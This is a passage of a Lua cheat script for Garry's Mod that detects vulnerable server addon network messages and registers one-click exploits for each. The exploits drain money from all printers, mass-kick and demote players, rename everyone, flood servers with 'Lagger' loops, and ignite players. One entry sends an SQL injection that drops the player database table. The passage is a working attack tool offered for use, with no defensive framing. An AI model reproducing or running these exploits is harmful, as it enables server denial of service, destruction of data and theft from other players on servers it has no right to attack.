5526TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5527TextEntry.OnEnter = function( self )
5528surface.PlaySound("garrysmod/ui_click.wav")
5529NOTIFICATION("Changed")
5530net.Start("NewRPNameSQL")
5531net.WriteString( (self:GetValue()), 32)
5532net.SendToServer()
5533inputFrame:SetVisible(false)
5534end
5535end )
5536end
5537
5538status = ValidNetString("chname")
5539if (status) then
5540CHATPRINT("Exploit Trouvé : Your RP Name #3 [chname]")
5541addExploit( "76","Your RP Name #3", "discovered by Leith", function()
5542surface.PlaySound("garrysmod/ui_click.wav")
5543inputFrameExists = true
5544inputFrame = vgui.Create( "DFrame" )
5545inputFrame:SetTitle("Enter your name")
5546inputFrame:SetSize( 400, 75 )
5547inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5548inputFrame:SetDraggable(false)
5549inputFrame:ShowCloseButton(true)
5550inputFrame:MakePopup()
5551inputFrame.Paint = function( self, w, h )
5552draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5553end
5554local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5555TextEntry:SetSize( 380, 30 )
5556TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5557TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5558TextEntry.OnEnter = function( self )
5559surface.PlaySound("garrysmod/ui_click.wav")
5560NOTIFICATION("Changed")
5561net.Start("chname")
5562net.WriteString( (self:GetValue()) )
5563net.WriteString(" ")
5564net.SendToServer()
5565inputFrame:SetVisible(false)
5566end
5567end )
5568end
5569
5570status = ValidNetString("AbilityUse")
5571if (status) then
5572CHATPRINT("Exploit Trouvé : Free Bonus [AbilityUse]")
5573addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
5574surface.PlaySound("garrysmod/ui_click.wav")
5575for k, v in ipairs(rp.abilities.list) do
5576CHATPRINT("ID - "..k.." | "..v:GetName())
5577inputFrameExists = true
5578inputFrame = vgui.Create( "DFrame" )
5579inputFrame:SetTitle("Enter the id of the bonus")
5580inputFrame:SetSize( 400, 75 )
5581inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5582inputFrame:SetDraggable(false)
5583inputFrame:ShowCloseButton(true)
5584inputFrame:MakePopup()
5585inputFrame.Paint = function( self, w, h )
5586draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5587end
5588local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5589TextEntry:SetSize( 380, 30 )
5590TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5591TextEntry:SetText( "6" )
5592TextEntry.OnEnter = function( self )
5593surface.PlaySound("garrysmod/ui_click.wav")
5594NOTIFICATION("Received")
5595net.Start("AbilityUse")
5596net.WriteInt(tonumber(self:GetValue()), 32)
5597net.SendToServer()
5598inputFrame:SetVisible(false)
5599end
5600end
5601end )
5602end
5603
5604status = ValidNetString("race_accept")
5605if (status) then
5606CHATPRINT("Exploit Trouvé : Get Car [race_accept]")
5607addExploit( "78","Get Car", "", function()
5608surface.PlaySound("garrysmod/ui_click.wav")
5609inputFrameExists = true
5610inputFrame = vgui.Create( "DFrame" )
5611inputFrame:SetTitle("Enter the id of the car")
5612inputFrame:SetSize( 400, 75 )
5613inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5614inputFrame:SetDraggable(false)
5615inputFrame:ShowCloseButton(true)
5616inputFrame:MakePopup()
5617inputFrame.Paint = function( self, w, h )
5618draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5619end
5620local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5621TextEntry:SetSize( 380, 30 )
5622TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5623TextEntry:SetText( "1" )
5624TextEntry.OnEnter = function( self )
5625surface.PlaySound("garrysmod/ui_click.wav")
5626NOTIFICATION("Starting")
5627net.Start("race_accept")
5628net.WriteInt(tonumber(self:GetValue()), 32)
5629net.SendToServer()
5630end
5631end )
5632end
5633
5634status = ValidNetString("NLR_SPAWN")
5635if (status) then
5636CHATPRINT("Exploit Trouvé : Respawn #3 [NLR_SPAWN]")
5637addExploit( "79","Respawn #3", "instant revival", function()
5638surface.PlaySound("garrysmod/ui_click.wav")
5639NOTIFICATION("Starting")
5640net.Start("NLR_SPAWN")
5641net.WriteEntity(LocalPlayer())
5642net.SendToServer()
5643end )
5644end
5645
5646status = ValidNetString("Kun_ZiptieStruggle")
5647if (status) then
5648CHATPRINT("Exploit Trouvé : Break Handcuffs [Kun_ZiptieStruggle]")
5649addExploit( "80","Break Handcuffs", "Instantly breaks the handcuffs", function()
5650surface.PlaySound("garrysmod/ui_click.wav")
5651NOTIFICATION("Starting")
5652for i=0,30 do
5653net.Start("Kun_ZiptieStruggle")
5654net.SendToServer()
5655end
5656end )
5657end
5658
5659status = ValidNetString("JB_Votekick")
5660if (status) then
5661CHATPRINT("Exploit Trouvé : Abuses Jailbreak Votekick [JB_Votekick]")
5662addExploit( "81","Abuses Jailbreak Votekick", "Kick Tous Le Monde", function()
5663surface.PlaySound("garrysmod/ui_click.wav")
5664NOTIFICATION("Starting")
5665for k,v in pairs(player.GetAll()) do
5666net.Start("JB_Votekick")
5667net.WriteEntity(v)
5668net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
5669net.SendToServer()
5670end
5671end )
5672end
5673
5674status = ValidNetString("Letthisdudeout")
5675if (status) then
5676CHATPRINT("Exploit Trouvé : ByB Force Bail [Letthisdudeout]")
5677addExploit( "82","ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
5678surface.PlaySound("garrysmod/ui_click.wav")
5679NOTIFICATION("Starting")
5680net.Start("Letthisdudeout")
5681net.WriteEntity(LocalPlayer())
5682net.SendToServer()
5683end )
5684end
5685
5686status = ValidNetString("opr_withdraw")
5687if (status) then
5688CHATPRINT("Exploit Trouvé : Lagger #14 [opr_withdraw]")
5689addExploit( "83","Lagger #14", "discovered by Leith", function()
5690surface.PlaySound("garrysmod/ui_click.wav")
5691NOTIFICATION("Starting")
5692timer.Create("lagger14", 0,0, function()
5693for i = 1, 1000 do
5694net.Start("opr_withdraw",true)
5695net.WriteEntity(LocalPlayer())
5696net.SendToServer()
5697end
5698end )
5699end )
5700end
5701
5702status = ValidNetString("NC_GetNameChange")
5703if (status) then
5704CHATPRINT("Exploit Trouvé : Change all names [NC_GetNameChange]")
5705addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
5706surface.PlaySound("garrysmod/ui_click.wav")
5707inputFrameExists = true
5708inputFrame = vgui.Create( "DFrame" )
5709inputFrame:SetTitle("Enter the name")
5710inputFrame:SetSize( 400, 75 )
5711inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5712inputFrame:SetDraggable(false)
5713inputFrame:ShowCloseButton(true)
5714inputFrame:MakePopup()
5715inputFrame.Paint = function( self, w, h )
5716draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5717end
5718local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5719TextEntry:SetSize( 380, 30 )
5720TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5721TextEntry:SetText( "AHAHAHAHAH" )
5722TextEntry.OnEnter = function( self )
5723surface.PlaySound("garrysmod/ui_click.wav")
5724NOTIFICATION("Starting")
5725for k, v in pairs( player.GetAll() ) do
5726net.Start("NC_GetNameChange")
5727net.WriteEntity(v)
5728net.WriteString( (self:GetValue()) )
5729net.WriteString( (self:GetValue()) )
5730net.SendToServer()
5731end
5732end
5733end )
5734end
5735
5736status = ValidNetString("revival_revive_accept")
5737if (status) then
5738CHATPRINT("Exploit Trouvé : Reanimation #2 [revival_revive_accept]")
5739addExploit( "85","Reanimation #2", "instant revival, discovered by Leith", function()
5740surface.PlaySound("garrysmod/ui_click.wav")
5741if !timer.Exists( "exploit_revive" ) then
5742NOTIFICATION( "Enabled" )
5743timer.Create( "exploit_revive", 0.5, 0, function()
5744if !LocalPlayer():Alive() then
5745net.Start("revival_revive_accept")
5746net.SendToServer()
5747end
5748end )
5749else
5750timer.Remove( "exploit_revive" )
5751NOTIFICATION( "Disabled" )
5752end
5753end )
5754end
5755
5756status = ValidNetString("join_disconnect")
5757if (status) then
5758CHATPRINT("Exploit Trouvé : Lagger #15 [join_disconnect]")
5759addExploit( "86","Lagger #15", "b1g lags my duder", function()
5760surface.PlaySound("garrysmod/ui_click.wav")
5761NOTIFICATION("Starting")
5762if not timer.Exists("lagger15") then
5763timer.Create("lagger15", 0.5, 0, function()
5764for i = 1, 3000 do
5765net.Start("join_disconnect",true)
5766net.WriteEntity(table.Random(player.GetAll()))
5767net.SendToServer()
5768end
5769end)
5770else
5771timer.Remove("lagger15")
5772NOTIFICATION("Stopping")
5773end
5774end )
5775end
5776
5777status = ValidNetString("BuyFirstTovar")
5778if (status) then
5779CHATPRINT("Exploit Trouvé : Free Physgun [BuyFirstTovar]")
5780addExploit( "87","Free Physgun", "get physgun", function()
5781surface.PlaySound("garrysmod/ui_click.wav")
5782NOTIFICATION("Take physgun")
5783net.Start("BuyFirstTovar")
5784net.WriteString("0")
5785net.SendToServer()
5786end )
5787end
5788
5789status = ValidNetString("BuySecondTovar")
5790if (status) then
5791CHATPRINT("Exploit Trouvé : Free Gravitygun [BuySecondTovar]")
5792addExploit( "88","Free Gravitygun", "get gravitygun", function()
5793surface.PlaySound("garrysmod/ui_click.wav")
5794NOTIFICATION("Take gravitygun")
5795net.Start("BuySecondTovar")
5796net.WriteString("0")
5797net.SendToServer()
5798end )
5799end
5800
5801status = ValidNetString("MONEY_SYSTEM_GetWeapons")
5802if (status) then
5803CHATPRINT("Exploit Trouvé : Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
5804addExploit( "89","Give Weapons #2", "get weapons", function()
5805surface.PlaySound("garrysmod/ui_click.wav")
5806NOTIFICATION("Starting")
5807for i = 1,32 do
5808net.Start("MONEY_SYSTEM_GetWeapons")
5809net.WriteInt(i, 8)
5810net.SendToServer()
5811end
5812end )
5813end
5814
5815status = ValidNetString("MCon_Demote_ToServer")
5816if (status) then
5817CHATPRINT("Exploit Trouvé : Demote All Players #2 [MCon_Demote_ToServer]")
5818addExploit( "90","Demote All Players #2", "demote all players", function()
5819surface.PlaySound("garrysmod/ui_click.wav")
5820NOTIFICATION("Starting")
5821for k,v in pairs(player.GetAll()) do
5822net.Start("MCon_Demote_ToServer")
5823net.WriteString(v:SteamID())
5824net.SendToServer()
5825end
5826end )
5827end
5828
5829status = ValidNetString("withdrawMoney")
5830if (status) then
5831CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #3 [withdrawMoney]")
5832addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all printers, discovered by Leith", function()
5833surface.PlaySound("garrysmod/ui_click.wav")
5834NOTIFICATION("Starting")
5835for k, v in pairs(ents.GetAll()) do
5836net.Start("withdrawMoney")
5837net.WriteEntity(v)
5838net.SendToServer()
5839end
5840end )
5841end
5842
5843status = ValidNetString("withdrawMoney")
5844if (status) then
5845CHATPRINT("Exploit Trouvé : Lagger #16 [withdrawMoney]")
5846addExploit( "92","Lagger #16", "discovered by Leith", function()
5847surface.PlaySound("garrysmod/ui_click.wav")
5848NOTIFICATION("Starting")
5849timer.Create("lagger16", 0, 0, function()
5850for i=1,1000 do
5851net.Start("withdrawMoney",true)
5852net.WriteEntity(LocalPlayer())
5853net.SendToServer()
5854end
5855end )
5856end )
5857end
5858
5859status = ValidNetString("SyncPrinterButtons76561198027292625")
5860if (status) then
5861CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #4 [SyncPrinterButtons76561198027292625]")
5862addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all printers", function()
5863surface.PlaySound("garrysmod/ui_click.wav")
5864NOTIFICATION("Starting")
5865for k, v in pairs(ents.GetAll()) do
5866net.Start("SyncPrinterButtons76561198027292625")
5867net.WriteEntity(v)
5868net.WriteUInt(2, 4)
5869net.SendToServer()
5870end
5871end )
5872end
5873
5874status = ValidNetString("gPrinters.retrieveMoney")
5875if (status) then
5876CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #5 [gPrinters.retrieveMoney]")
5877addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all printers, discovered by Leith", function()
5878surface.PlaySound("garrysmod/ui_click.wav")
5879NOTIFICATION("Starting")
5880for k, v in pairs(ents.GetAll()) do
5881net.Start("gPrinters.retrieveMoney")
5882net.WriteEntity(v)
5883net.SendToServer()
5884end
5885end )
5886end
5887
5888status = ValidNetString("gPrinters.retrieveMoney")
5889if (status) then
5890CHATPRINT("Exploit Trouvé : Lagger #17 [gPrinters.retrieveMoney]")
5891addExploit( "95","Lagger #17", "discovered by Leith", function()
5892surface.PlaySound("garrysmod/ui_click.wav")
5893NOTIFICATION("Starting")
5894timer.Create("lagger17", 0, 0, function()
5895for i=1,1000 do
5896net.Start("gPrinters.retrieveMoney",true)
5897net.WriteEntity(LocalPlayer())
5898net.SendToServer()
5899end
5900end )
5901end )
5902end
5903
5904status = ValidNetString("NGII_TakeMoney")
5905if (status) then
5906CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #6 [NGII_TakeMoney]")
5907addExploit( "96","Voler L'argents De Tous #6", "withdraw money from all printers", function()
5908surface.PlaySound("garrysmod/ui_click.wav")
5909NOTIFICATION("Starting")
5910for k, v in pairs(ents.GetAll()) do
5911net.Start("NGII_TakeMoney")
5912net.WriteEntity(v)
5913net.WriteEntity(LocalPlayer())
5914net.SendToServer()
5915end
5916end )
5917end
5918
5919status = ValidNetString("money_clicker_withdraw")
5920if (status) then
5921CHATPRINT("Exploit Trouvé : Lagger #18 [money_clicker_withdraw]")
5922addExploit( "97","Lagger #18", "discovered by Leith", function()
5923surface.PlaySound("garrysmod/ui_click.wav")
5924NOTIFICATION("Starting")
5925timer.Create("lagger18", 0, 0, function()
5926for i=1,1000 do
5927net.Start("money_clicker_withdraw",true)
5928net.WriteEntity(LocalPlayer())
5929net.SendToServer()
5930end
5931end )
5932end )
5933end
5934
5935status = ValidNetString("opr_withdraw")
5936if (status) then
5937CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #7 [opr_withdraw]")
5938addExploit( "98","Voler L'argents De Tous #7", "withdraw money from all printers", function()
5939surface.PlaySound("garrysmod/ui_click.wav")
5940NOTIFICATION("Starting")
5941for k, v in pairs(ents.GetAll()) do
5942net.Start("opr_withdraw")
5943net.WriteEntity(v)
5944net.SendToServer()
5945end
5946end )
5947end
5948
5949status = ValidNetString("NET_DoPrinterAction")
5950if (status) then
5951CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #8 [NET_DoPrinterAction]")
5952addExploit( "99","Voler L'argents De Tous #8", "withdraw money from all printers", function()
5953surface.PlaySound("garrysmod/ui_click.wav")
5954NOTIFICATION("Starting")
5955for k, v in pairs(ents.GetAll()) do
5956if v:GetClass():find("print") then
5957net.Start("NET_DoPrinterAction")
5958net.WriteEntity(LocalPlayer())
5959net.WriteEntity(v)
5960net.WriteInt(2,16)
5961net.SendToServer()
5962end
5963end
5964end )
5965end
5966
5967status = ValidNetString("tickbooksendfine")
5968if (status) then
5969CHATPRINT("Exploit Trouvé : Ticket Book [tickbooksendfine]")
5970addExploit( "100","Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
5971surface.PlaySound("garrysmod/ui_click.wav")
5972NOTIFICATION("Starting")
5973local reasonstable = {"Nice nan ? :D"}
5974for k, v in pairs(player.GetAll()) do
5975if v != LocalPlayer() then
5976net.Start("tickbooksendfine")
5977net.WriteString(v:SteamID())
5978net.WriteTable(reasonstable)
5979net.WriteDouble(1500, 32)
5980net.SendToServer()
5981end
5982end
5983end )
5984end
5985
5986status = ValidNetString("SyncPrinterButtons16690")
5987if (status) then
5988CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #9 [SyncPrinterButtons16690]")
5989addExploit( "101","Voler L'argents De Tous #9", "withdraw money from all printers", function()
5990surface.PlaySound("garrysmod/ui_click.wav")
5991NOTIFICATION("Starting")
5992for k, v in pairs(ents.GetAll()) do
5993if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
5994net.Start("SyncPrinterButtons16690")
5995net.WriteEntity(v)
5996net.WriteUInt(2, 4)
5997net.SendToServer()
5998end
5999end
6000end)
6001end
6002
6003status = ValidNetString("withdrawp")
6004if (status) then
6005CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #10 [withdrawp]")
6006addExploit( "102","Voler L'argents De Tous #10", "withdraw money from all printers", function()
6007surface.PlaySound("garrysmod/ui_click.wav")
6008NOTIFICATION("Starting")
6009for k,v in pairs(ents.FindByClass("derma_printer")) do
6010net.Start("withdrawp")
6011net.WriteEntity(v)
6012net.SendToServer()
6013end
6014end)
6015end
6016
6017status = ValidNetString("withdrawp")
6018if (status) then
6019CHATPRINT("Exploit Trouvé : Lagger #19 [withdrawp]")
6020addExploit( "103","Lagger #19", "discovered by Leith", function()
6021surface.PlaySound("garrysmod/ui_click.wav")
6022NOTIFICATION("Starting")
6023timer.Create("lagger19", 0, 0, function()
6024for i=1,1000 do
6025net.Start("withdrawp",true)
6026net.WriteEntity(LocalPlayer())
6027net.SendToServer()
6028end
6029end )
6030end )
6031end
6032
6033status = ValidNetString("DarkRP_SS_Gamble")
6034if (status) then
6035CHATPRINT("Exploit Trouvé : Argent Gratuite #3 [DarkRP_SS_Gamble]")
6036addExploit( "104","Argent Gratuite #3", "an exploit in the addon 'DarkRP Casino'", function()
6037surface.PlaySound("garrysmod/ui_click.wav")
6038NOTIFICATION("Starting")
6039net.Start("DarkRP_SS_Gamble")
6040net.WriteInt(99999, 32)
6041net.WriteInt(1, 32)
6042net.WriteInt(0, 32)
6043net.WriteInt(0, 32)
6044net.WriteInt(1, 32)
6045net.SendToServer()
6046end )
6047end
6048
6049status = ValidNetString("PCAdd")
6050if (status) then
6051CHATPRINT("Exploit Trouvé : Delete Promocode [PCAdd]")
6052addExploit( "105","Delete Promocode", "delete all promocodes", function()
6053surface.PlaySound("garrysmod/ui_click.wav")
6054NOTIFICATION("Starting")
6055net.Start("PCAdd")
6056net.WriteString("alahman")
6057net.WriteString("300000000")
6058net.SendToServer()
6059timer.Simple(3,function()
6060net.Start("ActivatePC")
6061net.WriteString("alahman")
6062net.SendToServer()
6063net.Start("PCDelAll")
6064net.SendToServer()
6065end )
6066end )
6067end
6068
6069status = ValidNetString("viv_hl2rp_disp_message")
6070if (status) then
6071CHATPRINT("Exploit Trouvé : HL2 Disp Message [viv_hl2rp_disp_message]")
6072addExploit( "106","HL2 Disp Message", "hl2 voice commands", function()
6073surface.PlaySound("garrysmod/ui_click.wav")
6074NOTIFICATION("Starting")
6075for name, command in pairs (dispatchCommands) do
6076net.Start("viv_hl2rp_disp_message")
6077net.WriteString(command)
6078net.SendToServer()
6079end
6080end )
6081end
6082
6083status = ValidNetString("Kun_SellDrug")
6084if (status) then
6085CHATPRINT("Exploit Trouvé : Argent Gratuite #4 [Kun_SellDrug]")
6086addExploit( "107","Argent Gratuite #4", "get monies", function()
6087surface.PlaySound("garrysmod/ui_click.wav")
6088if !timer.Exists( "freemoney4" ) then
6089NOTIFICATION("Starting")
6090timer.Create( "freemoney4", 0, 0, function()
6091for i=1,1000 do
6092net.Start("Kun_SellDrug")
6093net.WriteString("mushroom")
6094net.SendToServer()
6095end
6096end)
6097else
6098timer.Remove( "freemoney4" )
6099NOTIFICATION("Stopping")
6100end
6101end )
6102end
6103
6104status = ValidNetString("net_PSUnBoxServer")
6105if (status) then
6106CHATPRINT("Exploit Trouvé : Point Shop Unbox [net_PSUnBoxServer]")
6107addExploit( "108","Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
6108surface.PlaySound("garrysmod/ui_click.wav")
6109NOTIFICATION("Starting")
6110for k,v in pairs(player.GetAll()) do
6111local i = 0
6112for k2,v2 in pairs(PS.Items) do
6113if !v:PS_HasItem(v2.ID) then
6114timer.Simple(k*i*1.7,function()
6115net.Start("net_PSUnBoxServer")
6116net.WriteEntity(v)
6117net.WriteString(v2.ID)
6118net.SendToServer()
6119end)
6120i = i + 1
6121end
6122end
6123end
6124end )
6125end
6126
6127status = ValidNetString("pplay_sendtable")
6128if (status) then
6129CHATPRINT("Exploit Trouvé : ☢ Fuck the SQL database ☢ [pplay_sendtable]")
6130addExploit( "109","☢ Fuck the SQL database ☢", "fuck all", function()
6131surface.PlaySound("garrysmod/ui_click.wav")
6132NOTIFICATION("Starting")
6133local tbl = {}
6134tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
6135tbl.ply = LocalPlayer()
6136net.Start("pplay_sendtable")
6137net.WriteTable(tbl)
6138net.SendToServer()
6139end )
6140end
6141
6142status = ValidNetString("75_plus_win")
6143if (status) then
6144CHATPRINT("Exploit Trouvé : Argent Gratuite #5 [75_plus_win]")
6145addExploit( "110","Argent Gratuite #5", "Recevoir De L'Argent", function()
6146surface.PlaySound("garrysmod/ui_click.wav")
6147NOTIFICATION("Starting")
6148net.Start("75_plus_win")
6149net.WriteString("99999999")
6150net.WriteEntity(LocalPlayer())
6151net.SendToServer()
6152end )
6153end
6154
6155status = ValidNetString("ATMDepositMoney")
6156if (status) then
6157CHATPRINT("Exploit Trouvé : Argent Gratuite #6 [ATMDepositMoney]")
6158addExploit( "111","Argent Gratuite #6", "an exploit in 'ATM'", function()
6159surface.PlaySound("garrysmod/ui_click.wav")
6160NOTIFICATION("Starting")
6161net.Start("ATMDepositMoney")
6162net.WriteFloat(-9999999)
6163net.SendToServer()
6164end )
6165end
6166
6167status = ValidNetString("SellMinerals")
6168if (status) then
6169CHATPRINT("Exploit Trouvé : Argent Gratuite #7 [SellMinerals]")
6170addExploit( "112","Argent Gratuite #7", "an exploit in 'eMining'", function()
6171surface.PlaySound("garrysmod/ui_click.wav")
6172NOTIFICATION("Starting")
6173for k,v in pairs(SkillDB) do
6174if not ( v.iSkill == true ) then
6175net.Start("Upgrade")
6176net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
6177net.SendToServer()
6178net.Start("SellMinerals")
6179net.WriteTable({ Target = LocalPlayer() })
6180net.SendToServer()
6181end
6182end
6183end )
6184end
6185
6186status = ValidNetString("TakeBetMoney")
6187if (status) then
6188CHATPRINT("Exploit Trouvé : Argent Gratuite #8 [TakeBetMoney]")
6189addExploit( "113","Argent Gratuite #8", "Recevoir De L'Argent", function()
6190surface.PlaySound("garrysmod/ui_click.wav")
6191NOTIFICATION("Starting")
6192net.Start("TakeBetMoney")
6193net.WriteTable({1e333333 , 1e333333})
6194net.SendToServer()
6195end )
6196end
6197
6198status = ValidNetString("Kun_SellOil")
6199if (status) then
6200CHATPRINT("Exploit Trouvé : Argent Gratuite #9 [Kun_SellOil]")
6201addExploit( "114","Argent Gratuite #9", "Recevoir De L'Argent", function()
6202surface.PlaySound("garrysmod/ui_click.wav")
6203NOTIFICATION("Starting")
6204for k,v in pairs(ents.GetAll()) do
6205net.Start("Kun_SellOil")
6206net.WriteEntity(v)
6207net.SendToServer()
6208end
6209end )
6210end
6211
6212status = ValidNetString("DepositMoney")
6213if (status) then
6214CHATPRINT("Exploit Trouvé : Argent Gratuite #10 [DepositMoney]")
6215addExploit( "115","Argent Gratuite #10", "Recevoir De L'Argent", function()
6216surface.PlaySound("garrysmod/ui_click.wav")
6217NOTIFICATION("Starting")
6218net.Start("DepositMoney")
6219for k,v in pairs(ents.GetAll()) do
6220net.WriteEntity(v)
6221net.WriteString(-100000000 )
6222net.WriteEntity(LocalPlayer())
6223net.SendToServer()
6224end
6225end )
6226end
6227
6228status = ValidNetString("NET_SS_DoBuyTakeoff")
6229if (status) then
6230CHATPRINT("Exploit Trouvé : Argent Gratuite #11 [NET_SS_DoBuyTakeoff]")
6231addExploit( "116","Argent Gratuite #11", "Recevoir De L'Argent", function()
6232surface.PlaySound("garrysmod/ui_click.wav")
6233NOTIFICATION("Starting")
6234net.Start("NET_SS_DoBuyTakeoff",true)
6235net.WriteEntity(LocalPlayer())
6236net.WriteEntity(table.Random(player.GetAll()))
6237net.WriteTable({})
6238net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
6239net.SendToServer()
6240end )
6241end
6242
6243status = ValidNetString("NET_EcSetTax")
6244if (status) then
6245CHATPRINT("Exploit Trouvé : Argent Gratuite #12 [NET_EcSetTax]")
6246addExploit( "117","Argent Gratuite #12", "Recevoir De L'Argent", function()
6247surface.PlaySound("garrysmod/ui_click.wav")
6248NOTIFICATION("Starting")
6249net.Start("NET_EcSetTax")
6250net.WriteInt(-9999999999, 16)
6251net.SendToServer()
6252end )
6253end
6254
6255status = ValidNetString("RP_Accept_Fine")
6256if (status) then
6257CHATPRINT("Exploit Trouvé : Argent Gratuite #13 [RP_Accept_Fine]")
6258addExploit( "118","Argent Gratuite #13", "Recevoir De L'Argent", function()
6259surface.PlaySound("garrysmod/ui_click.wav")
6260NOTIFICATION("Starting")
6261for k,v in pairs(player.GetAll())do
6262net.Start("RP_Accept_Fine")
6263net.WriteString(v:Nick())
6264net.WriteDouble(-999999999999)
6265net.SendToServer()
6266end
6267end )
6268end
6269
6270status = ValidNetString("drugseffect_remove")
6271if (status) then
6272CHATPRINT("Exploit Trouvé : Remove Weapons [drugseffect_remove]")
6273addExploit( "119","Remove Weapons", "remove all weapons", function()
6274surface.PlaySound("garrysmod/ui_click.wav")
6275NOTIFICATION("Starting")
6276net.Start("drugseffect_remove")
6277net.SendToServer()
6278end )
6279end
6280
6281status = ValidNetString("drugs_money")
6282if (status) then
6283CHATPRINT("Exploit Trouvé : Remove Money [drugs_money]")
6284addExploit( "120","Remove Money", "remove all money", function()
6285surface.PlaySound("garrysmod/ui_click.wav")
6286NOTIFICATION("Starting")
6287net.Start("drugs_money")
6288net.SendToServer()
6289end )
6290end
6291
6292status = ValidNetString("CRAFTINGMOD_SHOP")
6293if (status) then
6294CHATPRINT("Exploit Trouvé : Argent Gratuite #14 [CRAFTINGMOD_SHOP]")
6295addExploit( "121","Argent Gratuite #14", "an exploit in 'crafting mod'", function()
6296surface.PlaySound("garrysmod/ui_click.wav")
6297NOTIFICATION("Starting")
6298net.Start("CRAFTINGMOD_SHOP")
6299net.WriteTable({
6300BUY = -9999999;
6301type = 1
6302})
6303net.WriteInt(1,16)
6304net.SendToServer()
6305end )
6306end
6307
6308status = ValidNetString("drugs_ignite")
6309if (status) then
6310CHATPRINT("Exploit Trouvé : Fire Players [drugs_ignite]")
6311addExploit( "122","Fire Players", "", function()
6312surface.PlaySound("garrysmod/ui_click.wav")
6313NOTIFICATION("Starting")
6314net.Start("drugs_ignite")
6315net.WriteString("player")
6316net.SendToServer()
6317end )
6318end
6319
6320status = ValidNetString("drugs_ignite")
6321if (status) then
6322CHATPRINT("Exploit Trouvé : Fire Props [drugs_ignite]")
6323addExploit( "123","Fire Props", "", function()
6324surface.PlaySound("garrysmod/ui_click.wav")
6325NOTIFICATION("Starting")
6326net.Start("drugs_ignite")
6327net.WriteString("prop_physics")
6328net.SendToServer()
6329end )
6330end
6331
6332status = ValidNetString("drugseffect_hpremove")
6333if (status) then
6334CHATPRINT("Exploit Trouvé : Change HP [drugseffect_hpremove]")
6335addExploit( "124","Change HP", "", function()
6336surface.PlaySound("garrysmod/ui_click.wav")
6337NOTIFICATION("Starting")
6338net.Start("drugseffect_hpremove")
6339net.WriteString(99999)
6340net.SendToServer()
6341end )
6342end
6343
6344status = ValidNetString("drugs_text")
6345if (status) then
6346CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props #2 [drugs_text]")
6347addExploit( "125","Supprimer Tous Les Props #2", "", function()
6348surface.PlaySound("garrysmod/ui_click.wav")
6349NOTIFICATION("Starting")
6350net.Start("drugs_text")
6351net.WriteString("prop_physics")
6352net.SendToServer()
6353end )
6354end
6355
6356status = ValidNetString("drugs_give")
6357if (status) then
6358CHATPRINT("Exploit Trouvé : Give Everyone RPG [drugs_give]")
6359addExploit( "126","Give Everyone RPG", "", function()
6360surface.PlaySound("garrysmod/ui_click.wav")
6361NOTIFICATION("Starting")
6362net.Start("drugs_give")
6363net.WriteString("weapon_rpg")
6364net.SendToServer()
6365end )
6366end
6367
6368status = ValidNetString("drugs_text")
6369if (status) then
6370CHATPRINT("Exploit Trouvé : Remove Water [drugs_text]")
6371addExploit( "127","Remove Water", "", function()
6372surface.PlaySound("garrysmod/ui_click.wav")
6373NOTIFICATION("Starting")
6374net.Start("drugs_text")
6375net.WriteString("func_water_analog")
6376net.SendToServer()
6377end )
6378end
6379
6380status = ValidNetString("drugs_effect")
6381if (status) then
6382local eye = LocalPlayer():GetEyeTrace().Entity
6383local send = "del|"..eye:EntIndex()
6384CHATPRINT("Exploit Trouvé : Remove looking at [drugs_effect]")
6385addExploit( "128","Remove looking at", "", function()
6386surface.PlaySound("garrysmod/ui_click.wav")
6387NOTIFICATION("Starting")
6388net.Start("drugs_effect")
6389net.WriteString(send)
6390net.SendToServer()
6391end )
6392end
6393
6394status = ValidNetString("RecKickAFKer")
6395if (status) then
